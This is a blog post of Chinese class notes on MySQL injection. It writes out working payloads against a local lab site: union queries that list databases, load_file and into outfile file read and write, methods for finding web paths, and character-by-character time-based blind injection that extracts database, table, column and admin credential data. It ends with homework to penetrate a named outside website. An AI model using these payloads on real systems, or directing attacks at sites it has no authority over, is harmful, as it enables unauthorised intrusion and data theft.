美文网首页
小迪16期-20170313

小迪16期-20170313

作者: 无罪的坏人 | 来源:发表于2018-09-30 14:51 被阅读0次

    第四天:mysql权限渗透-mysql盲注攻击(上)

    1.分析上节课的作业:获取所有数据库名的注入语句怎么写?

    • 抓包工具分析注入工具语句
      先网上下载工具注入工具havij 1.17 pro版本和抓包工具WSExplorer
    • 通过数据库属性分析注入语句
      information_schema.schemata 存储mysql下所有数据库名信息的表名
      schema_name 数据库名

    http://127.0.0.1/sqlin/mysql/index.php?x=1 union select schema_name,2,3 from information_schema.schemata


    2.实验:测试不同数据库用户的操作权限

    文件读写测试:读就是load_file(),写就是into outfile()

    • Mysql最高权限用户root:可读可写

      root读写权限.jpg
      注意:如发现读取时为NULL,直接执行show global variables like '%secure%'; 发现secure_file_priv的值为NULL,然后修改mysql.ini 文件,在[mysqld] 下加入secure_file_priv =
      保存,重启mysql。这样就能读到内容了。
    • Mysql普通权限用户:无权限文件读写。


    3.注入点数据库用户权限由什么决定?

    连接数据库用户决定


    连接用户.jpg

    4.Mysql注入点进行文件读写操作

    条件:root权限注入点
    读取语句:读取C盘下123.txt文件内容
    http://127.0.0.1/sqlin/mysql/index.php?x=1%20union%20select%20load_file(%27c:/123.txt%27),2,3
    写入语句
    http://127.0.0.1/sqlin/mysql/index.php?x=1%20union%20select%20%27abcd%27,2,3%20into%20outfile%20%27c:/www2.txt%27
    注意事项:

    • 符号问题
      使用“/”或“\”;不使用“\”
      原因:编程中“\”多半是转义,如\n是换行


      符号问题.jpg
    • 编码问题
      如果要写入数据中带有单引号,怎么办?
      编码解决!(用编码就不用单引号)
      比如:
      http://127.0.0.1/sqlin/mysql/index.php?x=1 union select 0x6161616127,2,3 into outfile 'c:/1234.txt'
      这里的十六进制表示的就是aaaa'

    5.网站路径获取方法

    • 遗留文件
      一般在网站根目录下,命名有php.php、info.php、
      phpinfo.php、test.php、php_info.php等。


      phpinfo.png
    • 报错显示


      报错显示.png
    • 漏洞暴路径


      漏洞暴路径.png
    • 读取搭建平台配置文件


      vhosts.png
    • 社工(字典猜解,谷歌黑客等)
      盲猜D:/www/
      D:/wwwroot/
      D:/web/


      谷歌黑客.png

    6.Mysql盲注

    • sleep盲注攻击
      比如select * from news where id=1 union select database(),2,sleep(5)


      sleep盲注.png

      能正常执行,并在5秒后出结果,证明可以正常执行。用sleep可以判断你写的语句对不对。

    • If(条件,true,false):
      条件成立,返回第二个参数,反之返回第三个参数
      比如select * from news where id=1 union select 1,2,sleep(if(length(database())=5,5,0))
      判断数据库长度是否等于5,如果等于5就延迟5秒,不等于就不延迟。
      又比如select * from news where id=1 union select database(),2,sleep(if(mid(database(),1,1)='s',5,0))
      查询数据库名称第一个字母是不是等于's'的,是就延迟5秒。
      (mid函数有三个参数,第一个是字符串,第二个是从哪里开始截取,第三个是截取的长度)

    7.Mysql盲注扩展资料

    image.png

    盲注的核心是靠 if 判断来注入

    手工盲注之前先复习一下if 判断等函数
    version() 是查看数据库版本
    database() 查看数据库名
    user() 查看当前用户
    length( xxxxx ) 函数是统计字符串的长度


    image.png

    mid(str,1,3) 字符串截取


    image.png

    从字节1开始截 截到3就结束

    ORD() 转换成ascii码


    image.png
    image.png

    IF 语法:


    image.png

    if (条件,True,False);


    image.png

    开始手工盲注
    select * from admin where user = "admin" and sleep(2); 执行需要2秒

    1.获取数据库名长度

    database() 查看数据库名


    image.png

    ( select length(database() ) )
    查询数据库名长度


    image.png

    select * from admin where user = "admin" and sleep( if( ( select length(database()) = 2 ) , 5,0 ) );
    如果数据库的长度等于2的话那么就执行true 否则就执行False
    最后变成了 sleep(0)

    image.png
    如果数据库长度等于 7 的话 就执行true
    最后变成了 sleep(5)
    也就是select * from admin where user = "admin” and sleep(5)
    最后得知数据库长度是 7 那么接下来就是获取数据库名了。

    2.获取数据库名

    数据库长度是 7
    select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = 'a' ) , 5,0 ) );
    执行执行False 说明 第一个字节不是a


    image.png

    select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = 'x' ) , 5,0 ) );
    执行执行true 执行了5秒 说明第一个字节是x

    然后慢慢注入到7。。。。。。
    select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = 'x') , 5,0 ) );
    select * from admin where user = "admin" and sleep( if( (select mid(database(),2,1) = 'i' ) , 5,0 ) );
    select * from admin where user = "admin" and sleep( if( (select mid(database(),3,1) = 'n') , 5,0 ) );
    select * from admin where user = "admin" and sleep( if( (select mid(database(),4,1) = 'd') , 5,0 ) );
    select * from admin where user = "admin" and sleep( if( (select mid(database(),5,1) = 'o') , 5,0 ) );
    select * from admin where user = "admin" and sleep( if( (select mid(database(),6,1) = 'n') , 5,0 ) );
    select * from admin where user = "admin" and sleep( if( (select mid(database(),7,1) = 'g') , 5,0 ) );
    第一个字节是x
    第二个字节是i
    第三个字节是n
    第四个字节是d
    第五个字节是o
    第六个字节是n
    第七个字节是g
    全都是执行 5秒 然后得知 数据库是 xindong

    当然了 这方法注入比较慢 比如有些数据库是特殊符号呢?那怎么办?一个一个符号猜解吗?
    采用ORD函数进行ascii码来判断会快点

    比如:
    select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 200 , 5,0 ) );
    条件:大于200 执行false 说明 不大于
    select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 100 , 5,0 ) );
    条件:大于100 执行true 说明大于
    select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 120 , 5,0 ) );
    条件:大于120 执行false 说明不大于
    select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 110 , 5,0 ) );
    条件:大于110 执行true 说明大于
    说明数据库第一个字节的ascii码大于110小于120
    说明是110~120之间

    select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) = 120 , 5,0 ) );
    等于 120 执行true 说明第一个字节的ascii码是120

    image.png

    最后解码得出是 x

    3.获取表名长度

    select * from admin where user = 'admin' and 1=2 union select 1, sleep(if( length(TABLE_NAME) = 5 ,5,0)) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1

    长度等于 5 执行true,等待5秒
    说明表名长度为5

    4.获取表名

    获取第1个字节
    select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,1,1))='a' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
    请求时间为5秒 说明是a

    获取第2个字节

    select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,2,1))='d' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
    请求时间为5秒 说明是d

    获取第3个字节

    select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,3,1))='m' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
    请求时间为5秒 说明是m

    获取第4个字节

    select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,4,1))='i' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
    请求时间为5秒 说明是i

    获取第5个字节

    select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,5,1))='n' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
    请求时间为5秒 说明是n

    5.获取表名的第一个字段长度

    表名是:admin 16进制:61646d696e
    select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (length(COLUMN_NAME) = 4,5,0 ) ) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

    请求时间5秒 说明第一个子段有4个字节

    6.获取表名的第一个字段名

    select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,1,1) )= 'u',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

    select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,2,1) )= 's',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

    select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,3,1) )= 'e',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

    select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,4,1) )= 'r',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

    爆出第一个字段是 user

    然后第一个字段判断可能是用户名 还少来个密码字段那么就在 5.获取表名的第一个字段长度 把limit 1,1 获取下一个字段长度再进行获取密码字段

    7.获取数据库内容

    7.1 先猜第一个字段的数据库的长度
    select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (length(user) = 5 , 5,0) ) from admin limit 0,1;
    执行5秒 说明这个字段的数据内容字节长度是5

    那么就是获取数据了
    select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,1,1) = 'a' , 5,0) ) from admin limit 0,1;
    select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,2,1) = 'd' , 5,0) ) from admin limit 0,1;
    select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,3,1) = 'm' , 5,0) ) from admin limit 0,1;
    select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,4,1) = 'i' , 5,0) ) from admin limit 0,1;
    select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,5,1) = 'n' , 5,0) ) from admin limit 0,1;

    然后用户名就是 admin 了

    作业:http://www.gaoneng.com/
    去渗透这个网站

    相关文章

      网友评论

          本文标题:小迪16期-20170313

          本文链接:https://www.haomeiwen.com/subject/tklwoftx.html